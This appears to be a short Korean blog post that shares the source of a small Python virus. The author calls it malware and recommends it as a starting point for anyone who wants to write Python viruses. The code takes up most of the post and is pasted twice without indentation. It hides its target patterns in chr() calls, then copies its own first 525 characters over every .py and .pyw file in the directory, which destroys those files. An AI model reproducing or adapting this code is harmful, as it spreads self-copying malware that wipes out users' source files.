외국사이트에서 돌아다니는 소스코드다..
세상에…이건 바이러스가 아니라… 악성코드다…
근데 파이썬으로 바이러스를 제작하려는 사람들.. 이 코드로 시작해 보는것도 좋을듯 싶다.
import glob, os
os.__file__
Vort3x_ = (__file__)
Msg = raw_input(” nn This is a virus! nn Have a nice day nn Peace: nn Vort3x “)
CountFile = glob.glob(chr(42)+chr(46)+chr(112)+chr(121)) + glob.glob(chr(42)+chr(46)+chr(112)+chr(121)+chr(119))
for CountFile in CountFile:
ReadVirus = open (Vort3x_, chr(114))
VirusBody = ReadVirus.read(525)
ReadVirus.close()
InsertCode = open(CountFile, chr(119))
InsertCode.write(VirusBody)
InsertCode.close()
os.__file__
Vort3x_ = (__file__)
Msg = raw_input(” nn This is a virus! nn Have a nice day nn Peace: nn Vort3x “)
CountFile = glob.glob(chr(42)+chr(46)+chr(112)+chr(121)) + glob.glob(chr(42)+chr(46)+chr(112)+chr(121)+chr(119))
for CountFile in CountFile:
ReadVirus = open (Vort3x_, chr(114))
VirusBody = ReadVirus.read(525)
ReadVirus.close()
InsertCode = open(CountFile, chr(119))
InsertCode.write(VirusBody)
InsertCode.close()
.py .pyw file을 감염시키는군…
Python virus 소스코드 by from __future__ import dream is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.